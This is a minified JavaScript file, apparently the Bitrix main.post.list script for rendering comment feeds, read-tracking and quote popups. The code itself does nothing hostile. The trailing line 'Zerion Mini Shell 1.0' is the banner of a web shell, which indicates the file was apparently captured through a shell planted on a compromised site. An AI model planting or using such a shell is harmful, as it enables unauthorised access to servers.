t=e.getAttribute("bx-content-view-xml-id");if(BX.type.isNotEmptyString(t)){BX.onCustomEvent(window,"OnUCFeedChanged",[t.split("-")])}}})};window["fcParseTemplate"]=function(e,t,i){t=t||{};t["RIGHTS"]=t["RIGHTS"]||{};for(var s=0,n=["MODERATE","EDIT","DELETE"];s<n.length;s++){t["RIGHTS"][n[s]]=BX.util.in_array(t["RIGHTS"][n[s]],["Y","ALL","OWN","OWNLAST"])?t["RIGHTS"][n[s]]:"N"}t["DATE_TIME_FORMAT"]=!!t["DATE_TIME_FORMAT"]?t["DATE_TIME_FORMAT"]:"d F Y G:i";t["TIME_FORMAT"]=!!t["DATE_TIME_FORMAT"]&&t["DATE_TIME_FORMAT"].indexOf("a")>=0?"g:i a":"G:i";t["VIEW_URL"]=t["VIEW_URL"]||"";t["EDIT_URL"]=t["EDIT_URL"]||"";t["MODERATE_URL"]=t["MODERATE_URL"]||"";t["DELETE_URL"]=t["DELETE_URL"]||"";t["AUTHOR_URL"]=t["AUTHOR_URL"]||"";t["NAME_TEMPLATE"]=t["NAME_TEMPLATE"]||"";t["SHOW_LOGIN"]=t["SHOW_LOGIN"]||"";var o=e&&e["messageFields"]?e["messageFields"]:e,a={ID:"",FULL_ID:"",CONTENT_ID:"",ENTITY_XML_ID:"",NEW:"old",APPROVED:"Y",DATE:"",TEXT:"",CLASSNAME:"",VIEW_URL:"",VIEW_SHOW:"N",EDIT_URL:"",EDIT_SHOW:"N",MODERATE_URL:"",MODERATE_SHOW:"N",DELETE_URL:"",DELETE_SHOW:"N",CREATETASK_SHOW:"N",BEFORE_HEADER:"",BEFORE_ACTIONS:"",AFTER_ACTIONS:"",AFTER_HEADER:"",BEFORE:"",AFTER:"",BEFORE_RECORD:"",AFTER_RECORD:"",AUTHOR_ID:0,AUTHOR_AVATAR_IS:"N",AUTHOR_AVATAR:"",AUTHOR_URL:"",AUTHOR_NAME:"",AUTHOR_EXTRANET_STYLE:"",SHOW_POST_FORM:"Y",VOTE_ID:"",AUTHOR_TOOLTIP_PARAMS:"","background:url('') no-repeat center;":"",LIKE_REACT:""};if(!!o&&!!e["messageFields"]){o["AUTHOR"]=!!o["AUTHOR"]?o["AUTHOR"]:{};var r=parseInt(o["POST_TIMESTAMP"])+parseInt(BX.message("USER_TZ_OFFSET"))+parseInt(BX.message("SERVER_TZ_OFFSET"));var d=[["today",t["TIME_FORMAT"]],["yesterday",t["TIME_FORMAT"].indexOf("yesterday")<0?"yesterday, "+t["TIME_FORMAT"]:t["TIME_FORMAT"]],["",t["DATE_TIME_FORMAT"]]];var l="";if(typeof o["AUTHOR"]["TYPE"]!="undefined"){if(o["AUTHOR"]["TYPE"]=="EMAIL"){l=" feed-com-name-email"}else if(o["AUTHOR"]["TYPE"]=="EXTRANET"){l=" feed-com-name-extranet"}}else if(o["AUTHOR"]["IS_EXTRANET"]=="Y"){l=" feed-com-name-extranet"}var c=!!o.AUX&&o.AUX.length>0?BX.CommentAux.getLiveText(o.AUX,!!o.AUX_LIVE_PARAMS?o.AUX_LIVE_PARAMS:{}):o["POST_MESSAGE_TEXT"].replace(/\001/gi,"").replace(/#/gi,"");a={ID:o["ID"],FULL_ID:o["FULL_ID"].join("-"),CONTENT_ID:o["RATING"]&&o["RATING"]["ENTITY_TYPE_ID"]&&o["RATING"]["ENTITY_ID"]?o["RATING"]["ENTITY_TYPE_ID"]+"-"+o["RATING"]["ENTITY_ID"]:"",ENTITY_XML_ID:o["ENTITY_XML_ID"],NEW:o["NEW"]=="Y"?"new":"old",APPROVED:o["APPROVED"]!="Y"?"hidden":"approved",DATE:BX.date.format(d,r,parseInt(Date.now()/1e3)+parseInt(BX.message("USER_TZ_OFFSET"))+parseInt(BX.message("SERVER_TZ_OFFSET")),true),TEXT:c,CLASSNAME:o["CLASSNAME"]?" "+o["CLASSNAME"]:"",VIEW_URL:t["VIEW_URL"].replace("#ID#",o["ID"]).replace("#id#",o["ID"]),VIEW_SHOW:t["VIEW_URL"]!==""?"Y":"N",EDIT_URL:t["EDIT_URL"].replace("#ID#",o["ID"]).replace("#id#",o["ID"]),EDIT_SHOW:(!o.AUX||o.AUX.length<=0)&&(t["RIGHTS"]["EDIT"]=="Y"||t["RIGHTS"]["EDIT"]=="ALL"||t["RIGHTS"]["EDIT"]=="OWN"&&BX.message("USER_ID")==o["AUTHOR"]["ID"])?"Y":"N",MODERATE_URL:t["MODERATE_URL"].replace("#ID#",o["ID"]).replace("#id#",o["ID"]),MODERATE_SHOW:t["RIGHTS"]["MODERATE"]=="Y"||t["RIGHTS"]["MODERATE"]=="ALL"||t["RIGHTS"]["MODERATE"]=="OWN"&&BX.message("USER_ID")==o["AUTHOR"]["ID"]?"Y":"N",DELETE_URL:t["DELETE_URL"].replace("#ID#",o["ID"]).replace("#id#",o["ID"]),DELETE_SHOW:t["RIGHTS"]["DELETE"]=="Y"||t["RIGHTS"]["DELETE"]=="ALL"||t["RIGHTS"]["DELETE"]=="OWN"&&BX.message("USER_ID")==o["AUTHOR"]["ID"]?"Y":"N",CREATETASK_SHOW:(!o.AUX||o.AUX.length<=0)&&t["RIGHTS"]["CREATETASK"]=="Y"?"Y":"N",BEFORE_HEADER:o["BEFORE_HEADER"],BEFORE_ACTIONS:o["BEFORE_ACTIONS"],AFTER_ACTIONS:o["AFTER_ACTIONS"],AFTER_HEADER:o["AFTER_HEADER"],BEFORE:o["BEFORE"],AFTER:o["AFTER"],BEFORE_RECORD:o["BEFORE_RECORD"],AFTER_RECORD:o["AFTER_RECORD"],AUTHOR_ID:o["AUTHOR"]["ID"],AUTHOR_AVATAR_IS:!!o["AUTHOR"]["AVATAR"]?"Y":"N",AUTHOR_AVATAR:!!o["AUTHOR"]["AVATAR"]?o["AUTHOR"]["AVATAR"]:"/bitrix/images/1.gif",AUTHOR_AVATAR_BG:!!o["AUTHOR"]["AVATAR"]?"background-image:url('"+o["AUTHOR"]["AVATAR"]+"')":"",AUTHOR_URL:t["AUTHOR_URL"].replace("#ID#",o["ID"]).replace("#id#",o["ID"]).replace("#USER_ID#",o["AUTHOR"]["ID"]).replace("#user_id#",o["AUTHOR"]["ID"])+(typeof o["AUTHOR"]["EXTERNAL_AUTH_ID"]!="undefined"&&o["AUTHOR"]["EXTERNAL_AUTH_ID"]=="email"&&typeof t["AUTHOR_URL_PARAMS"]!="undefined"?(t["AUTHOR_URL"].indexOf("?")>=0?"&":"?")+"entityType="+t["AUTHOR_URL_PARAMS"]["entityType"]+"&entityId="+t["AUTHOR_URL_PARAMS"]["entityId"]:""),AUTHOR_NAME:BX.formatName(o["AUTHOR"],t["NAME_TEMPLATE"],t["SHOW_LOGIN"]),AUTHOR_EXTRANET_STYLE:l,VOTE_ID:o["RATING"]&&o["RATING"]["VOTE_ID"]?o["RATING"]["VOTE_ID"]:"",AUTHOR_PERSONAL_GENDER:BX.type.isNotEmptyString(o["AUTHOR"]["PERSONAL_GENDER"])?o["AUTHOR"]["PERSONAL_GENDER"]:"",AUTHOR_TOOLTIP_PARAMS:typeof o["AUTHOR_TOOLTIP_PARAMS"]!="undefined"?o["AUTHOR_TOOLTIP_PARAMS"]:"{}","background:url('') no-repeat center;":"",LIKE_REACT:!!o["LIKE_REACT"]?o["LIKE_REACT"]:"",POST_ENTITY_TYPE:!!o["POST_CONTENT_TYPE_ID"]?o["POST_CONTENT_TYPE_ID"]:"",COMMENT_ENTITY_TYPE:!!o["COMMENT_CONTENT_TYPE_ID"]?o["COMMENT_CONTENT_TYPE_ID"]:""}}else{for(s in a){if(a.hasOwnProperty(s)){a[s]=!!e[s]?e[s]:a[s]}}}for(s in a){if(a.hasOwnProperty(s)){a[s]=!!a[s]?a[s]:""}}a["SHOW_POST_FORM"]=BX("record-"+a["ENTITY_XML_ID"]+"-0-placeholder")?"Y":"N";for(var h in a){if(a.hasOwnProperty(h)){i=i.replace(new RegExp("#"+h+"#","g"),a[h])}}return i.replace("background:url('') no-repeat center;","").replace(/\001/gi,"#")};window["fcPull"]=function(e,t){BX.ajax({url:"/bitrix/components/bitrix/main.post.list/templates/.default/component_epilog.php",method:"POST",data:{AJAX_POST:"Y",ENTITY_XML_ID:e,MODE:"PUSH&PULL",sessid:BX.bitrix_sessid(),DATA:t}})};var newCommentsToCheckForReading={data:[],screen:{},timeout:0},traceForReading=function(e){newCommentsToCheckForReading.data.push(e);newCommentsToCheckForReading.screen=newCommentsToCheckForReading.screen||{scrollTop:BX.GetWindowScrollPos().scrollTop,time:(new Date).getTime()};newCommentsToCheckForReading.screen["checked"]=false;newCommentsToCheckForReading.timeout=newCommentsToCheckForReading.timeout||setTimeout(markReadComments,1e3)};BX.addCustomEvent(window,"OnUCRecordHasDrawn",function(e,t){traceForReading(t)});var markReadComments=function(){var e=BX.GetWindowScrollPos();if(e.scrollTop!=newCommentsToCheckForReading.screen["scrollTop"]){newCommentsToCheckForReading.screen["time"]=(new Date).getTime();newCommentsToCheckForReading.screen["scrollTop"]=e.scrollTop;newCommentsToCheckForReading.screen["checked"]=false}else if(!newCommentsToCheckForReading.screen["checked"]&&(new Date).getTime()-newCommentsToCheckForReading.screen["time"]>3e3){newCommentsToCheckForReading.screen["time"]=(new Date).getTime();newCommentsToCheckForReading.screen["checked"]=true;var t=0,i=BX.GetWindowInnerSize(),s=[],n,o,a,r,d,l;for(r=0;r<newCommentsToCheckForReading.data.length;r++){n=BX("record-"+newCommentsToCheckForReading.data[r].join("-")+"-cover");if(n){o=BX.pos(n);if(o.top>=e.scrollTop&&o.top<=e.scrollTop+i.innerHeight-20){BX.onCustomEvent(window,"OnUCCommentWasRead",[newCommentsToCheckForReading.data[r],n]);BX.removeClass(n,"comment-new-answer");d=BX.findParent(n,{className:"feed-comments-block"});if(d){l=BX.findChild(d,{className:"feed-com-corner"});if(l){BX.addClass(l,"feed-post-block-corner-fade")}}a=BX.findChild(n,{className:"feed-com-main-content"},true,false);BX.removeClass(a,"feed-com-block-pointer-to-new feed-com-block-new");BX.addClass(a,"feed-com-block-read");t++}else{s.push(newCommentsToCheckForReading.data[r])}}}newCommentsToCheckForReading.data=s;if(t>0)BX.onCustomEvent(window,"onCounterDecrement",[t])}if(newCommentsToCheckForReading.data.length>0)newCommentsToCheckForReading.timeout=setTimeout(markReadComments,1e3);else{newCommentsToCheckForReading.timeout=0}};var MPLQuote=function(e){this.params=e;this.id=e["id"];this.closeByEsc=!!e["closeByEsc"];this.autoHide=!!e["autoHide"];this.autoHideTimeout=!!e["autoHideTimeout"]?parseInt(e["autoHideTimeout"]):0;if(this.params.classEvents){for(var t in this.params.classEvents)if(this.params.classEvents.hasOwnProperty(t))BX.addCustomEvent(this,t,this.params.classEvents[t])}this.node=document.createElement("A");BX.adjust(this.node,{props:{id:this.id},style:{zIndex:BX.PopupWindow.getOption("popupZindex")+this.params.zIndex,position:"absolute",display:"none",top:"0px",left:"0px"},attrs:{className:"mpl-quote-block",href:"#"},events:this.params.events});document.body.appendChild(this.node)};MPLQuote.prototype={show:function(e){var t=this.getPosition(this.node,e);BX.adjust(this.node,{style:{top:t.y+"px",left:t.x+"px",display:"block"}});BX.addClass(this.node,"mpl-quote-block-show");if(this.closeByEsc&&!this.isCloseByEscBinded){this.isCloseByEscBinded=BX.delegate(this._onKeyUp,this);BX.bind(document,"keyup",this.isCloseByEscBinded)}if(this.params.autoHide&&!this.isAutoHideBinded){setTimeout(BX.proxy(function(){BX.bind(this.node,"click",this.cancelBubble);this.isAutoHideBinded=BX.delegate(this.hide,this);BX.bind(document,"click",this.isAutoHideBinded)},this),0)}if(this.autoHideTimeout>0&&this.autoHideTimeoutInt<=0){if(!this.autoHideTimeoutBinded)this.autoHideTimeoutBinded=BX.delegate(this.hide,this);this.autoHideTimeoutInt=setTimeout(this.autoHideTimeoutBinded,this.autoHideTimeout)}},hide:function(e){if(!this.isShown())return;if(e&&!(BX.getEventButton(e)&BX.MSLEFT))return;this.node.style.display="none";if(this.isCloseByEscBinded){BX.unbind(document,"keyup",this.isCloseByEscBinded);this.isCloseByEscBinded=false}if(this.autoHideTimeout>0){clearTimeout(this.autoHideTimeoutInt);this.autoHideTimeoutInt=0}setTimeout(BX.proxy(this._hide,this),0)},_hide:function(){BX.onCustomEvent(this,"onQuoteHide",[this]);if(this.params.autoHide&&this.isAutoHideBinded){BX.unbind(this.node,"click",this.cancelBubble);BX.unbind(document,"click",this.isAutoHideBinded);this.isAutoHideBinded=false}BX.remove(this.node)},getPosition:function(e,t){var i;if(t.pageX==null){var s=document.documentElement,n=document.body;var o=t.clientX+(s&&s.scrollLeft||n&&n.scrollLeft||0)-(s.clientLeft||0);var a=t.clientY+(s&&s.scrollTop||n&&n.scrollTop||0)-(s.clientTop||0);i={x:o,y:a}}else{i={x:t.pageX,y:t.pageY}}return{x:i.x+5,y:i.y-16}},isShown:function(){return this.node.style.display=="block"},cancelBubble:function(e){if(!e)e=window.event;if(e.stopPropagation)e.stopPropagation();else e.cancelBubble=true},_onKeyUp:function(e){e=e||window.event;if(e.keyCode==27)this.hide(e)}};window.mplCheckForQuote=function(e,t,i,s){e=document.all?window.event:e;var n="",o,a=null;if(window.getSelection){o=window.getSelection();n=o.toString()}else if(document.selection){o=document.selection;n=o.createRange().text}if(n!=""){var r=BX.findParent(o.focusNode,{tagName:t.tagName,className:t.className},t),d=BX.findParent(o.anchorNode,{tagName:t.tagName,className:t.className},t);if(r!=d||r!=t){n=""}else{if(!!s&&BX(s,true)){var l=BX(s,true);if(!!l&&l.hasAttribute("bx-post-author-id")){a={id:parseInt(l.getAttribute("bx-post-author-id")),gender:l.getAttribute("bx-post-author-gender"),name:l.innerHTML}}}}}if(n!=""){BX.onCustomEvent(window,"onQuote"+i,[e,{text:n,author:a}]);return true}return false};window.mplReplaceUserPath=function(e){if(typeof e!="string"||e.length<=0){return""}if(BX("MPL_IS_EXTRANET_SITE")=="Y"){e=e.replace("/company/personal/user/","/extranet/contacts/personal/user/")}else{e=e.replace("/extranet/contacts/personal/user/","/company/personal/user/")}e=e.replace(new RegExp("[\\w/]*/mobile/users/\\?user_id=(\\d+)","igm"),BX("MPL_IS_EXTRANET_SITE")=="Y"?"/extranet/contacts/personal/user/$1/":"/company/personal/user/$1/");return e};BX.onCustomEvent("main.post.list/default",["script.js"])})();
//# sourceMappingURL=script.map.js

Zerion Mini Shell 1.0